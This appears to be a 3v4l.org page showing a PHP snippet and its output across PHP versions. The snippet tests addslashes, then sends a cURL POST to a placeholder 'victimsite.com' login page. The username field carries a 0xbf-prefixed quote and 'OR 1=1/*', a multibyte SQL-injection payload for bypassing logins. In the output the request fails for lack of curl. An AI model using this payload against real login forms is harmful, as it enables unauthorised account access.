3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a = array( //"one" => "'1", "one" => 0xbf5c27, "two" => 2, "three" => 3, "seventeen" => 17 ); foreach ($a as $k => $v) { echo "$v...\n"; //$str = $v; $str = addslashes($v); echo "\$a[$k] => $str.\n"; } $url = "http://www.victimsite.com/login.php"; $ref = "http://www.victimsite.com/index.php"; $session = "PHPSESSID=abcdef01234567890abcdef01"; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_REFERER, $ref ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $ch, CURLOPT_COOKIE, $session ); curl_setopt( $ch, CURLOPT_POST, TRUE ); curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print( $data ); curl_close( $ch ); ?>
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
12540967... $a[one] => 12540967. 2... $a[two] => 2. 3... $a[three] => 3. 17... $a[seventeen] => 17. Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/6KjF4:24 Stack trace: #0 {main} thrown in /in/6KjF4 on line 24
Process exited with code 255.
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
12540967... $a[one] => 12540967. 2... $a[two] => 2. 3... $a[three] => 3. 17... $a[seventeen] => 17. Fatal error: Call to undefined function curl_init() in /in/6KjF4 on line 24
Process exited with code 255.

preferences:
288.24 ms | 402 KiB | 376 Q